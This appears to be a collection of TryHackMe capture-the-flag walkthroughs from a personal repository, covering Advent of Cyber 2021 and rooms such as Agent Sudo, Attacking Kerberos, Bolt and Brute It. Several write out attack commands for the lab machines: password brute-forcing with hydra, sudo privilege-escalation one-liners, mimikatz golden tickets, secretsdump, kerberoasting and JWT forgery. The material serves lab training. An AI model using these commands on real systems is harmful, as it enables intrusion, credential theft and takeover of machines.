You can see the actor compressed the original contents of the bag of toys with a password. Unfortunately, we are unable to see what the specific password was in these transcription logs! Perhaps we could find it elsewhere...

Following this, the actor looks to have removed everything from the bag of toys, and added in new things like coal, mold, worms, and more!  What are the contents of these "malicious" files (coal, mold, and all the others)?


We know that the actor seemingly collected the original bag of toys. Maybe there was a slight OPSEC mistake, and we might be able to recover Santa's Bag of Toys! Review the actor's repository for its planned operations... maybe in the commit messages, we could find the original archive and the password!

- What is the password to the original bag_of_toys.uha archive? (You do not need to perform any password-cracking or bruteforce attempts)

	- `***************************`

McSkidy was able to download and save a copy of the bag_of_toys.uha archive, and you have it accessible on the Desktop of the Windows analysis machine. After uncovering the password from the actor's GitHub repository, you have everything you need to restore Santa's original bag of toys!! 

Double-click on the archive on the desktop to open a graphical UHARC extraction utility that has been prepared for you. Using the password you uncovered, extract the contents into a location of your choosing (you might make a "Bag of Toys" directory on the Desktop to save all the files into).

With that, you have successfully recovered the original contents of Santa's Bag of Toys! You can view these in the Windows Explorer file browser to see how many were present.

- How many original files were present in Santa's Bag of Toys?

	- `***`


================================================
FILE: Advent-of-Cyber-2021/Day-09-Where_Is_All_This_Data_Going/README.md
================================================
# Day 9 - Where Is All This Data Going

- In the HTTP #1 - GET requests section, which directory is found on the web server?

  - `*****`

- What is the username and password used in the login page in the HTTP #2 - POST section? 

  - `*******************`

- What is the User-Agent's name that has been sent in HTTP #2 - POST section?

  - `***************************************`

- In the DNS section, there is a TXT DNS query. What is the flag in the message of that DNS query?

  - `*******************************`

- In the FTP section, what is the FTP login password?

  - `**********`

- In the FTP section, what is the FTP command used to upload the secret.txt file?

  - `****`

- In the FTP section, what is the content of the secret.txt file?

  - `*********`


================================================
FILE: Advent-of-Cyber-2021/Day-10-Offensive_Is_The_Best_Defence/README.md
================================================
# Day10 - Offensive Is The Best Defence

- Help McSkidy and run nmap -sT MACHINE_IP. How many ports are open between 1 and 100?

	- `*`

- What is the smallest port number that is open?

	- `**`

- What is the service related to the highest port number you found in the first question?

	- `****`

- Now run nmap -sS MACHINE_IP. Did you get the same results? (Y/N)

	- `*`

- If you want Nmap to detect the version info of the services installed, you can use nmap -sV MACHINE_IP. What is the version number of the web server?

	- `*****************`

- By checking the vulnerabilities related to the installed web server, you learn that there is a critical vulnerability that allows path traversal and remote code execution. Now you can tell McSkidy that Grinch Enterprises used this vulnerability. What is the CVE number of the vulnerability that was solved in version 2.4.51?

	- `**************`

- You are putting the pieces together and have a good idea of how your web server was exploited. McSkidy is suspicious that the attacker might have installed a backdoor. She asks you to check if there is some service listening on an uncommon port, i.e. outside the 1000 common ports that Nmap scans by default. She explains that adding -p1-65535 or -p- will scan all 65,535 TCP ports instead of only scanning the 1000 most common ports. What is the port number that appeared in the results now?

	- `*****`

- What is the name of the program listening on the newly discovered port?

	- `*******`

If you would like to learn more about the topics covered in today’s tasks, we recommend checking out the Network Security module.

		No answer needed


================================================
FILE: Advent-of-Cyber-2021/Day-11-Where_Are_The_Reindeers/README.md
================================================
# Day 11 - Where Are The Reindeers?

- There is an open port related to MS SQL Server accessible over the network. What is the port number?

	- `nmap -Pn <TARGET_IP>`
	- `****`

- If the connection is successful, you will get a prompt. What is the prompt that you have received?

	- `sqsh -S <TARGET_IP> -U sa -P t7uLKzddQzVjVFJp`
	- `**`

- We can see four columns in the table displayed above: id, first (name), last (name), and nickname. What is the first name of the reindeer of id 9?

	- `*******`

- Check the table schedule. What is the destination of the trip scheduled on December 7?

	- `select * from reindeer.dbo.schedule;`
	- `******`

- Check the table presents. What is the quantity available for the present “Power Bank”?

	- `select * from reindeer.dbo.presents;`
	- `*****`

- There is a flag hidden in the grinch user's home directory. What are its contents?

	- `xp_cmdshell 'dir C:\Users\grinch';`
	- `xp_cmdshell 'dir C:\Users\grinch\Documents';`
	- `xp_cmdshell 'type C:\Users\grinch\Documents\flag.txt';`
	- `***************`

================================================
FILE: Advent-of-Cyber-2021/Day-12-Sharing_Without_Caring/README.md
================================================
Day12 - Sharing Without Caring

- Scan the target server with the IP 10.10.112.197. Remember that MS Windows hosts block pings by default, so we need to add -Pn, for example, nmap -Pn 10.10.112.197 for the scan to work correctly. How many TCP ports are open?

	- `*`

- In the scan results you received earlier, you should be able to spot NFS or mountd, depending on whether you used the -sV option with Nmap or not. Which port is detected by Nmap as NFS or using the mountd service?

	- `****`

- How many shares did you find?

	- `*`

- How many shares show “everyone”?

	- `*`

- What is the title of file 2680-0.txt?

	- `***********`

- It seems that Grinch Enterprises has forgotten their SSH keys on our system. One of the shares contains a private key used for SSH authentication (id_rsa). What is the name of the share?

	- `************`

- We can calculate the MD5 sum of a file using md5sum FILENAME. What is the MD5 sum of id_rsa?

	- `*******************************`

================================================
FILE: Advent-of-Cyber-2021/Day-13-They_Lost_The_Plan/README.md
================================================
# Day 13 - They Lost The Plan!


- Complete the username: p.....

	- `*****`

- What is the OS version?

	- `**********************`

- What backup service did you find running on the system?

	- `***********`

- What is the path of the executable for the backup service you have identified?

	- `**************************************************`

- Run the whoami command on the connection you have received on your attacking machine. What user do you have?

	- `**********************`

- What is the content of the flag.txt file?

	- `************`

- The Grinch forgot to delete a file where he kept notes about his schedule! Where can we find him at 5:30?

	- `**********`

================================================
FILE: Advent-of-Cyber-2021/Day-14-Dev(Insecure)Ops/README.md
================================================
Day 14 - Dev(Insecure)Ops


- How many pages did the dirb scan find with its default wordlist?

	- `*`

- How many scripts do you see in the /home/thegrinch/scripts folder?

	- `*`

- What are the five characters following $6$G in pepper's password hash?

	- `*****`

- What is the content of the flag.txt file on the Grinch's user’s desktop?

	- `***************************`

================================================
FILE: Advent-of-Cyber-2021/Day-15-The_Grinchs_day_off/README.md
================================================
# Day 15 - The Grinchs day off

================================================
FILE: Advent-of-Cyber-2021/Day-16-Ransomware_Madness/README.md
================================================
# Day 16 - Ransomware Madness

- !!! ВАЖНЫЙ !!!

		No answer needed

- What is the operator's username?

	- `************`

- What social media platform is the username associated with?

	- `*******`

- What is the cryptographic identifier associated with the operator?

	- `********************************`

- What platform is the cryptographic identifier associated with?

	- `*********`

- What is the bitcoin address of the operator?

	- `**********************************`

- What platform does the operator leak the bitcoin address on? 

	- `******`

- What is the operator's personal email?

	- `*****************`

- What is the operator's real name?

	- `***********`


================================================
FILE: Advent-of-Cyber-2021/Day-17-Elf_Leaks/README.md
================================================
# Day 17 - Elf Leaks


- What is the name of the S3 Bucket used to host the HR Website announcement?

	- `******.*******************.***`

- What is the message left in the flag.txt object from that bucket?

	- `**** **** ** *** **** ***** **** **** *** ***** ** ** **** ** *****`

- What other file in that bucket looks interesting to you?

	- `*********.***`

- What is the AWS Access Key ID in that file?

	- `********************`

- What is the AWS Account ID that access-key works for?

	- `************`

- What is the Username for that access-key?

	- `***********.***`

- There is an EC2 Instance in this account. Under the TAGs, what is the Name of the instance?

	- `*********`

- What is the database password stored in Secrets Manager?

	- `***********`


================================================
FILE: Advent-of-Cyber-2021/Day-18-Playing_With_Containers/README.md
================================================
# Day 18 - Playing With Containers

- What command will list container images stored in your local container registry?

	- `****** ******`

- What command will allow you to save a docker image as a tar archive?

	- `****** ****`

- What is the name of the file (including file extension) for the configuration, repository tags, and layer hash values stored in a container image?

	- `********.****`

- What is the token value you found for the bonus challenge?

	- `********************************`


================================================
FILE: Advent-of-Cyber-2021/Day-19-Something_Phishy_Is_Going_On/README.md
================================================
# Day 19 - Something Phishy Is Going On

- Who was the email sent to? (Answer is the email address)

	- `******************.***`

- Phishing emails use similar domains of their targets to increase the likelihood the recipient will be tricked into interacting with the email. Who does it say the email was from? (Answer is the email address)

	- `********************.****`

- Sometimes phishing emails have a different reply-to email address. If this email was replied to, what email address will receive the email response?

	- `****************.******`

- Less sophisticated phishing emails will have typos. What is the misspelled word?

	- `*******`

- The email contains a link that will redirect the recipient to a fraudulent website in an effort to collect credentials. What is the link to the credential harvesting website?

	- `*****://**********.******/***/*******/`

- View the email source code. There is an unusual email header. What is the header and its value?

	- `*************: ****`

- You received other reports of phishing attempts from other colleagues. Some of the other emails contained attachments. Open attachment.txt. What is the name of the attachment?

	- `***************************.***`

- What is the flag in the PDF file?

	- `***{***************************}`

If you want to learn more about phishing, check out the "Phishing" module on TryHackMe.

		No answer needed

================================================
FILE: Advent-of-Cyber-2021/Day-20-What_s_the_Worst_That_Could_Happen/README.md
================================================
# Day 20 - What's the Worst That Could Happen?

- Open the terminal and navigate to the file on the desktop named 'testfile'. Using the 'strings' command, check the strings in the file. There is only a single line of output to the 'strings' command. What is the output?

	- `**************************}*****************************************`

- Check the file type of 'testfile' using the 'file' command. What is the file type?

	- `***** ***** **** *****`

- Calculate the file's hash and search for it on VirusTotal. When was the file first seen in the wild?

	- `********** **:**:**`

- On VirusTotal's detection tab, what is the classification assigned to the file by Microsoft?

	- `*****:***/***************`

- Go to this link to learn more about this file and what it is used for. What were the first two names of this file?

	- `*******.*** ** ************.***`

- The file has 68 characters in the start known as the known string. It can be appended with whitespace characters upto a limited number of characters. What is the maximum number of total characters that can be in the file?

	- `***`

================================================
FILE: Advent-of-Cyber-2021/Day-21-Needles_In_Computer_Stacks/README.md
================================================
# Day 21 - Needles In Computer Stacks

- We changed the text in the string $a as shown in the eicaryara rule we wrote, from X5O to X50, that is, we replaced the letter O with the number 0. The condition for the Yara rule is $a and $b and $c and $d. If we are to only make a change to the first boolean operator in this condition, what boolean operator shall we replace the 'and' with, in order for the rule to still hit the file?

	- `**`

- What option is used in the Yara command in order to list down the metadata of the rules that are a hit to a file? 

	- `**`

- What section contains information about the author of the Yara rule?

	- `********`

- What option is used to print only rules that did not hit?

	- `**`

- Change the Yara rule value for the $a string to X50. Rerun the command, but this time with the -c option. What is the result?

	- `*`

================================================
FILE: Advent-of-Cyber-2021/Day-22-How_It_Happened/README.md
================================================
# Day 22 - How It Happened

- What is the username (email address of Grinch Enterprises) from the decoded script?

	- `******.***********.**********.***`

- What is the mailbox password you found?

	- `*******************`

- What is the subject of the email?

	- `********* ********`

- What port is the script using to exfiltrate data from the North Pole?

	- `***`

- What is the flag hidden found in the document that Grinch Enterprises left behind? (Hint: use the following command oledump.py -s {stream number} -d, the answer will be in the caption).

	- `********************`

- There is still a second flag somewhere... can you find it on the machine?

	- `*********************`

================================================
FILE: Advent-of-Cyber-2021/Day-23-PowershELlF_Magic/README.md
================================================
# Day 23 - PowershELlF Magic

- What command was executed as Elf McNealy to add a new user to the machine?

	- `****************`

- What user executed the PowerShell file to send the password.txt file from the administrator's desktop to a remote server?

	- `*****`

- What was the IP address of the remote server? What was the port used for the remote connection? (format: IP,Port)

	- `**.**.***.**,****`

- What was the encryption key used to encrypt the contents of the text file sent to the remote server?

	- `********************************`

- What application was used to delete the password.txt file?

	- `*******.***`

- What is the date and timestamp the logs show that password.txt was deleted? (format: MM/DD/YYYY H:MM:SS PM)

	- `**/**/**** *:**:** **`

- What were the contents of the deleted password.txt file?

	- `******* *******: ***************************`


================================================
FILE: Advent-of-Cyber-2021/Day-24-Learning_From_The_Grinch/README.md
================================================
# Day 24 - Learning From The Grinch

- What is the username of the other user on the system?

	- `*****`

- What is the NTLM hash of this user?

	- `********************************`

- What is the password for this user?

	- `**********`


================================================
FILE: Advent-of-Cyber-2021/README.md
================================================
# Advent of Cyber 2021 🎄🎅

## [tryhackme.com/edoardottt](https://tryhackme.com/p/edoardottt)


![aoc-logo](https://github.com/edoardottt/tryhackme-ctf/blob/main/Advent-of-Cyber-2021/aoc.png)

For this year I didn't provide my solution to the challenges since there are ready amazing YT videos. Thanks THM :)

![aoc-certificate](https://github.com/edoardottt/tryhackme-ctf/blob/main/Advent-of-Cyber-2021/aoc2021.png)


================================================
FILE: Agent-Sudo/README.md
================================================
# Agent Sudo


- Deploy the machine

	  no answer needed

- How many open ports?

	- `nmap <TARGET_IP>`
	- `3`

- How you redirect yourself to a secret page?

	- `user-agent`

- What is the agent name?

	- Let's try changing the user-agent.
	- `curl -A "A" -L <TARGET_IP>`. Mmmmh...
	- `curl -A "C" -L <TARGET_IP>`. Got it.
	- `chris`

- FTP password

	- `hydra -l chris -P /usr/share/wordlists/rockyou.txt <TARGET_IP> -vV -t 4 ftp`
	- `crystal`

- steg password

	- `ftp <TARGET_IP>`
	- Enter username `chris` and password `crystal`.
	- `mget *`
	- By `ToAgentJ.txt` I can understand there is a pic that isn't a photo actually.
	- In fact, `binwalk -e cutie.png` extracts useful data.
	- `cd _cutie.png.extracted`
	- `zip2john 8702.zip > zip.hash`
	- `john zip.hash` and we get the password
	- `7z e zip.hash`, enter `Y` and the password.
	- `cat ToAgentR.txt`
	- Inserting that weird string into CyberChef (from Base64) we get `Area51`.
	- `Area51`

- Zip file password

	- `alien`

- Who is the other agent (in full name)?

	- `steghide info cute-alien.jpg`, enter `y` and the passphrase (`Area51`).
	- There is a message.txt inside
	- `steghide extract -sf cute-alien.jpg`
	- `james`

- SSH password

	- `hackerrules!`

- What is the user flag?

	- `ssh james@<TARGET_IP>` and then enter the password.
	- `cat user_flag.txt`
	- `b0**975e8******041**********13c7`

- What is the incident of the photo called?

	- Enable ssh on your machine
	- `scp Alien_autospy.jpg YOUR-USER-HERE@YOUR-IP-HERE:Alien_autospy.jpg`
	- Search that photo with Google Reverse Image.
	- `Roswell Alien Autopsy`

- CVE number for the escalation (Format: CVE-xxxx-xxxx)

	- `sudo -l`
	- `CVE-2019-14287` ([exploit-db](https://www.exploit-db.com/))

- What is the root flag?

	- `sudo -u \#$((0xffffffff)) /bin/bash`
	- `id`
	- `cat /root/root.txt`
	- `b53**2f55b57******3341**********`
	- `Deskel`





================================================
FILE: Agent-Sudo/To_agentJ.txt
================================================
Dear agent J,

All these alien like photos are fake! Agent R stored the real picture inside your directory. Your login password is somehow stored in the fake picture. It shouldn't be a problem for you.

From,
Agent C


================================================
FILE: Agent-Sudo/_cutie.png.extracted/To_agentR.txt
================================================
Agent C,

We need to send the picture to 'QXJlYTUx' as soon as possible!

By,
Agent R


================================================
FILE: Agent-Sudo/_cutie.png.extracted/zip.hash
================================================
8702.zip/To_agentR.txt:$zip2$*0*1*0*4673cae714579045*67aa*4e*61c4cf3af94e649f827e5964ce575c5f7a239c48fb992c8ea8cbffe51d03755e0ca861a5a3dcbabfa618784b85075f0ef476c6da8261805bd0a4309db38835ad32613e3dc5d7e87c0f91c0b5e64e*4969f382486cb6767ae6*$/zip2$:To_agentR.txt:8702.zip:8702.zip


================================================
FILE: Agent-Sudo/message.txt
================================================
Hi james,

Glad you find this message. Your login password is hackerrules!

Don't ask me why the password look cheesy, ask agent R who set this password for you.

Your buddy,
chris


================================================
FILE: Anonymous/README.md
================================================
# Anonymous

- Enumerate the machine.  How many ports are open?

	- `scilla port -target <TARGET_IP>`
	- `*`

- What service is running on port 21?

	- `ftp`

- What service is running on ports 139 and 445?

	- `smb`

- There's a share on the user's computer.  What's it called?

	- `smbclient -L <TARGET_IP>`
	- `****`

- user.txt

	- Connect in anonymous mode via ftp and download everything.
	- We can write `clean.sh`, so add a reverse shell.
	- Fire up a shell and cat the flag.
	- `**********************`

- root.txt

	- `sudo -l`
	- `find / -user root -perm -u=s 2>/dev/null`
	- `/usr/bin/env`
	- `env /bin/sh -p`
	- `cat /root/root.txt`
	- `*******************************`


================================================
FILE: Attacking-Kerberos/README.md
================================================
# Attacking Kerberos

- What does TGT stand for?

	- `ticket granting ticket`

- What does SPN stand for?

	- `service principal name`

- What does PAC stand for?

	- `privilege attribute certificate`

- What two services make up the KDC?

	- `AS, TGS`

- Deploy the Machine

	  no answer needed

- How many total users do we enumerate?

	- `sudo vim /etc/hosts`, insert the row `<TARGET_IP>	CONTROLLER.local`
	- Download [User.txt](https://github.com/Cryilllic/Active-Directory-Wordlists/blob/master/User.txt)
	- `kerbrute userenum --dc CONTROLLER.local -d CONTROLLER.local User.txt`
	- `**`

- What is the SQL service account name?

	- `sql*******`

- What is the second "machine" account name?

	- `*******2`

- What is the third "user" account name?

	- `****3`

- Which domain admin do we get a ticket for when harvesting tickets?

	- `ssh Administrator@controller.local`, `yes` and inters password.
	- `cd Downloads`
	- `Rubeus.exe harvest /interval:30`
	- `echo <TARGET_IP> CONTROLLER.local >> C:\Windows\System32\drivers\etc\hosts`
	- `Rubeus.exe brute /password:Password1 /noticket`
	- `Ad************`

- Which domain controller do we get a ticket for when harvesting tickets?

	- `**********-1`

- What is the HTTPService Password?

	- `cd Downloads`
	- `Rubeus.exe kerberoast`
	- `copy the hash onto your attacker machine and put it into a .txt file so we can crack it with hashcat`
	- [wordlist](https://raw.githubusercontent.com/Cryilllic/Active-Directory-Wordlists/master/Pass.txt)
	- `hashcat -m 13100 -a 0 hash.txt Pass.txt`
	- `**********`

- What is the SQLService Password?

	- `**************`

- What hash type does AS-REP Roasting use?

	- `cd Downloads`
	- `Rubeus.exe asreproast`
	- `Transfer the hash from the target machine over to your attacker machine and put the hash into a txt file`
	- `Insert 23$ after $krb5asrep$ so that the first line will be $krb5asrep$23$User.....`
	- `hashcat -m 18200 hash.txt Pass.txt`
	- `Kerberos * ****** ***** **`

- Which User is vulnerable to AS-REP Roasting?

	- `****3`

- What is the User's Password?

	- `*********3`

- Which Admin is vulnerable to AS-REP Roasting?

	- `*****2`

- What is the Admin's Password?

	- `**********`

- I understand how a pass the ticket attack works

	  no answer needed

- What is the SQLService NTLM Hash?

	- `cd downloads && mimikatz.exe`
	- `privilege::debug`
	- `lsadump::lsa /inject /name:krbtgt`
	- `Kerberos::golden /user:Administrator /domain:controller.local /sid: /krbtgt: /id:`
	- `misc::cmd`
	- `****************************`

- What is the Administrator NTLM Hash?

	- `****************************`

- I understand how to implant a skeleton key into a domain controller with mimikatz

	  no answer needed

- I Understand the Basics of Attacking Kerberos

	  no answer needed


================================================
FILE: Attacktive-Directory/README.md
================================================
# Attacktive Directory

- Initiate the VPN connection and deploy the machine!

	  no answer needed

- Read and follow along with the above.

	  no answer needed

- What tool will allow us to enumerate port 139/445?

	- `enum4linux`

- What is the NetBIOS-Domain Name of the machine?

	- `THM-AD`

- What invalid TLD do people commonly use for their Active Directory Domain?

	- `.local`

- What command within Kerbrute will allow us to enumerate valid usernames?

	- `userenum`

- What notable account is discovered? (These should jump out at you)

	- `sudo echo <TARGET_IP> spookysec.local >> /etc/hosts`
	- `kerbrute userenum --dc spookysec.local -d spookysec.local User.txt`
	- `sv*******`

- What is the other notable account is discovered? (These should jump out at you)

	- `******`

- We have two user accounts that we could potentially query a ticket from. Which user account can you query a ticket from with no password?

	- `impacket-GetNPUsers spookysec.local/sv******** -no-pass`
	- `sv*******`

- Looking at the Hashcat Examples Wiki page, what type of Kerberos hash did we retrieve from the KDC? (Specify the full name)

	- `kerberos * ****** ***** 32`

- What mode is the hash?

	- `182**`

- Now crack the hash with the modified password list provided, what is the user accounts password?

	- `hashcat -m 182** kerberos_hash Pass.txt --force`
	- `**************`

- Using utility can we map remote SMB shares?

	- `smbclient`

- Which option will list shares?

	- `-l`

- How many remote shares is the server listing?

	- `smbclient -L spookysec.local -U 'sv*******'`
	- `*`

- There is one particular share that we have access to that contains a text file. Which share is it?

	- `msfconsole`
	- `search admin/smb/download_file`
	- `use 0`
	- `show options`
	- `set RHOSTS spookysec.local`
	- `set RPATH backup_credentials.txt`
	- `set SMBDOMAIN spookysec.local`
	- `set SMBPASS **************`
	- `set SMBSHARE backup`
	- `set SMBUSER sv*******`
	- `exploit`
	- `backup`

- What is the content of the file?

	- `***********************************************************`

- Decoding the contents of the file, what is the full contents?

	- `echo ***************************************** | base64 -d`
	- `********************************`

- What method allowed us to dump NTDS.DIT?

	- `DRS****`

- What is the Administrators NTLM hash?

	- `impacket-secretsdump -just-dc ba**************************`
	- `******************************`

- What method of attack could allow us to authenticate as the user without the password?

	- `pass the hash`

- Using a tool called Evil-WinRM what option will allow us to use a hash?

	- `-h`

- svc-admin

	- `************************+`

- backup

	- `************************`

- Administrator

	- `*************************`


================================================
FILE: Authenticate/README.md
================================================
# Authenticate

- Deploy the VM

	  no answer needed

- What is the flag you found after logging as Jack?

	- `fad9d***********************`

- Now try the same thing for username Mike

	  no answer needed

- What is the flag you found after logging as Mike?

	- `e1faaa************************`

- What is the flag that you found in darren's account?

	- `fe860*************************`

- Now try to do the same trick and see if you can login as arthur.

	  no answer needed

- What is the flag that you found in arthur's account?

	- `d9ac0*************************`

- Use the same method to find identity of admin user and retrieve the flag? 

	- `echo "{"typ":"JWT","alg":"NONE"}" | base64`
	- ` echo "{"exp":1586620929,"iat":1586620629,"nbf":1586620629,"identity":0}" | base64`
	- `92498*******************`

- Find the way to get into superadmin ad

	  no answer needed

- What is the password for superadmin account?

	- `abc******`

- What is the flag you found in superadmin account?

	- `7210*****************`




================================================
FILE: Avengers-Blog/README.md
================================================
# Avengers Blog

- Connect to our network by going to your access page. This is important as you will not be able to access the machine without connecting!

	  no answer needed

- Deploy the machine by clicking the green "Deploy" button on this task and access its webserver.

	  no answer needed

- On the deployed Avengers machine you recently deployed, get the flag1 cookie value.

	- `*****************`

- Look at the HTTP response headers and obtain flag 2.

	- `headers***************`

- Look around the FTP share and read flag 3!

	- `nmap -v <TARGET_IP>`
	- `ftp <TARGET_IP>`, enter user and password.
	- `ls`
	- `cd files`
	- `get flag3.txt`
	- `exit`
	- `cat flag3.txt`
	- `*************************************`

- What is the directory that has an Avengers login?

	- `scilla dir -target <TARGET_IP>`
	- `/p*****`

- Log into the Avengers site. View the page source, how many lines of code are there?

	- `***`

- Read the contents of flag5.txt

	- `rev ../flag5.txt`
	- `echo "FLAG" | rev`
	- `********************************`




================================================
FILE: Baron-Samedit/README.md
================================================
# Baron Samedit

- Deployed!

	  no answer needed

- After compiling the exploit, what is the name of the executable created (blurred in the screenshots above)?

	- `ssh tryhackme@<TARGET_IP>` and enter the password `tryhackme`
	- `cd Exploit`
	- `make`
	- `sudo-h****************`

- Run the exploit! You should now have a root shell -- what is the flag in /root/flag.txt?

	- `cat /etc/os-release*`
	- `./sudo-h**************** 0`
	- `cd /root`
	- `cat flag.txt`
	- `THM{********************************}`


================================================
FILE: Bash-Scripting/README.md
================================================
# Bash Scripting

- Are you ready to go!

	  no answer needed

- What piece of code can we insert at the start of a line to comment out our code?

	- `#`

- What will the following script output to the screen, echo “BishBashBosh”

	- `BishBashBosh`

- What would this code return?

	- `Jammy is 21 years old`

- How would you print out the city to the screen?

	- `echo $city`

- How would you print out the country to the screen?

	- `echo $country`

- How can we get the number of arguments supplied to a script?

	- `$#`

- How can we get the filename of our current script(aka our first argument)?

	- `$0`

- How can we get the 4th argument supplied to the script?

	- `$4`

- If a script asks us for input how can we direct our input into a variable called ‘test’ using “read”

	- `read test`

- What will the output of “echo $1 $3” if the script was ran with “./script.sh hello hola aloha”

	- `hello aloha`

- What would be the command to print audi to the screen using indexing.

	- `echo "${cars[1]}"`

- If we wanted to remove tesla from the array how would we do so?

	- `unset cars[3]`

- How could we insert a new value called toyota to replace tesla?

	- `cars[3]="toyota"`

- What is the flag to check if we have read access to a file?

	- `-r`

- What is the flag to check to see if it's a directory?

	- `-d`

- Well done!

	  no answer needed






================================================
FILE: Bebop/README.md
================================================
# Bebop

- Deploy the machine

	  no answer needed

- What is your codename?

	- `pilot`

- What is the User Flag?

	- `scilla port -target <TARGET_IP>`
	- `nmap -p 22,23 -A <TARGET_IP>`
	- `telnet <TARGET_IP> 23` as `pilot`
	- `ls`
	- `cat user.txt`
	- `**********************`

- What is the Root Flag?

	- `sudo -l`
	- `(root) NOPASSWD: /usr/local/bin/busybox`
	- Visit GTFObins, busybox.
	- `sudo busybox sh`
	- `id`
	- `cat /root/root.txt`
	- `**************************`

- What is the low privilleged user?

	- `pilot`

- What binary was used to escalate privileges?

	- `busybox`

- What service was used to gain an initial shell?

	- `telnet`

- What Operating System does the drone run?

	- `FreeBSD`

- Watch the video.

	  no answer needed




================================================
FILE: Bolt/README.md
================================================
# Bolt

- Start the machine

	  no answer needed

-  What port number has a web server with a CMS running?

	- `nmap -sV <TARGET_IP>`
	- `8000`

- What is the username we can find in the CMS?

	- `bolt`

- What is the password we can find for the username?

	- `*****d*in123`

- What version of the CMS is installed on the server? (Ex: Name 1.1.1)

	- Login into the page `<TARGET_IP>/bolt` with username and password previously found.
	- `Bolt 3.7.1`

- There's an exploit for a previous version of this CMS, which allows authenticated RCE. Find it on Exploit DB. What's its EDB-ID?

	- Search on Google `Bolt RCE Exploit DB`
	- `***2*`

- Metasploit recently added an exploit module for this vulnerability. What's the full path for this exploit? (Ex: exploit/....)

	- `msfconsole`
	- `search bolt`
	- `use *`
	- `exploit/unix/******************************`

- Set the LHOST, LPORT, RHOST, USERNAME, PASSWORD in msfconsole before running the exploit

	  no answer needed

	- `set LHOST <YOUR_IP>`
	- `set LPORT 1234`
	- `set RHOST <TARGET_IP>`
	- `set USERNAME bolt`
	- `set PASSWORD ************`

- Look for flag.txt inside the machine.

	- `exploit`
	- `cat $(find / | grep flag.txt)`
	- `THM{***************************}`






================================================
FILE: Bounty-Hacker/README.md
================================================
# Bounty Hacker

You were boasting on and on about your elite hacker skills in the bar and a few Bounty Hunters decided they'd take you up on claims! Prove your status is more than just a few glasses at the bar. I sense bell peppers & beef in your future!

- Deploy the machine.

	  no answer needed

- Find open ports on the machine

	  no answer needed

	- `nmap -Pn <TARGET_IP>`

- Who wrote the task list?

	- `ftp <TARGET_IP>`
	- `user`
	- `anonymous`
	- `recv locks.txt`
	- `recv task.txt`
	- `cat task.txt`
	- `lin`

- What service can you bruteforce with the text file found?

	- `ssh`

- What is the users password? 

	- `hydra -s 22 -v -V -l 'lin' -P locks.txt -t 8 <TARGET_IP> ssh`
	- `RedDr4gonSynd1cat3`

- user.txt

	- `ssh lin@<TARGET_IP>` and the enter `yes` and the password `RedDr4gonSynd1cat3`
	- `ls`
	- `cat user.txt`
	- `THM{******SyNd1C4T3}`

- root.txt

	- Type `sudo -l`, enter the password and you can see lin user can run `tar` command with sudo.
	- Search on [GTFObins](https://gtfobins.github.io/) `tar`
	- Then search for `sudo`
	- Found this: `sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh`
	- Execute this and then `cat /root/root.txt`
	- `THM{*************}`






================================================
FILE: Bounty-Hacker/locks.txt
================================================
rEddrAGON
ReDdr4g0nSynd!cat3
Dr@gOn$yn9icat3
R3DDr46ONSYndIC@Te
ReddRA60N
R3dDrag0nSynd1c4te
dRa6oN5YNDiCATE
ReDDR4g0n5ynDIc4te
R3Dr4gOn2044
RedDr4gonSynd1cat3
R3dDRaG0Nsynd1c@T3
Synd1c4teDr@g0n
reddRAg0N
REddRaG0N5yNdIc47e
Dra6oN$yndIC@t3
4L1mi6H71StHeB357
rEDdragOn$ynd1c473
DrAgoN5ynD1cATE
ReDdrag0n$ynd1cate
Dr@gOn$yND1C4Te
RedDr@gonSyn9ic47e
REd$yNdIc47e
dr@goN5YNd1c@73
rEDdrAGOnSyNDiCat3
r3ddr@g0N
ReDSynd1ca7e


================================================
FILE: Bounty-Hacker/task.txt
================================================
1.) Protect Vicious.
2.) Plan for Red Eye pickup on the moon.

-lin


================================================
FILE: Brooklyn-Nine-Nine/README.md
================================================
# Brooklyn Nine Nine

- User flag

	- `scilla port -p -1000 <TARGET_IP>`
	- Three ports open.
	- `ftp <TARGET_IP>` with username anonymous and no pwd.
	- `get note_to_jake.txt`
	- `cat note_to_jake.txt`
	- Cool.
	- `hydra -l jake -P /usr/share/wordlists/rockyou.txt ssh://<TARGET_IP> -f -VV -t 4`
	- `ssh jake@<TARGET_IP>` and enter the pwd.
	- `ls -alh`
	- `cd ..`
	- `cd holt`
	- `ls -lah`
	- `cat user.txt`
	- `********************************`

- Root flag

	- `sudo -l`
	- `sudo less /root/root.txt`
	- `********************************`





================================================
FILE: Brute-It/README.md
================================================
# Brute It

- Deploy the machine

	  no answer needed

- How many ports are open?

	- `nmap -p- <TARGET_IP>` or
	- `scilla port -target <TARGET_IP>`
	- `2`

- What version of SSH is running?

	- `nmap -sS -sV -Pn -p 22 <TARGET_IP>`
	- `OpenSSH 7.6p1`

- What version of Apache is running?

	- `nmap -sS -sV -Pn -p 80 <TARGET_IP>`
	- `2.*.**`

- Which Linux distribution is running?

	- `Ubuntu`

- What is the hidden directory?

	- `scilla dir -target <TARGET_IP>`
	- `/admin`

- What is the user:password of the admin panel?

	- `hydra -l admin -P /usr/share/wordlists/rockyou.txt <TARGET_IP> http-post-form "/admin/index.php:user=^USER^&pass=^PASS^:Username or password invalid" -f`
	- `admin:******`

- What is John's RSA Private Key passphrase?

	- `python2 /usr/share/john/ssh2john.py  rsa_priv > hash`
	- `john --wordlist=/usr/share/wordlists/rockyou.txt hash`
	- `**********`

- user.txt

	- `chmod 400 hash`
	- `ssh john@<TARGET_IP> -i rsa_priv and enter the passphrase`
	- `cat user.txt`
	- `THM{***************************}`

- Web flag

	- `THM{********************}`

- What is the root's password?

	- `sudo cat /etc/shadow`
	- `sudo cat /etc/passwd`
	- Copy these two files into your machine
	- `unshadow passwd shadow > passwords.txt`
	- `john --wordlist=/usr/share/wordlists/rockyou.txt passwords.txt`
	- `*********`

- root.txt

	- `sudo -l`
	- https://gtfobins.github.io/gtfobins/cat/
	- `sudo cat /root/` :)




================================================
FILE: Burp-Suite/README.md
================================================
# Burp Suite

- Read the overview and continue on into installation!

	  no answer needed

- If you'll be installing Burp (as it's commonly referred to) from scratch, you'll need to first visit this link: https://portswigger.net/burp/communitydownload

	  no answer needed

- Once you've reached the Port Swigger downloads page, go ahead and download the appropriate version for your operating system

	  no answer needed

- Once you've got everything setup move onto our next task, Gettin' [CA] Certified!

	  no answer needed

- Launch Burp!

	  no answer needed

- Once this pops-up, click 'Temporary project' and then 'Next'.

	  no answer needed

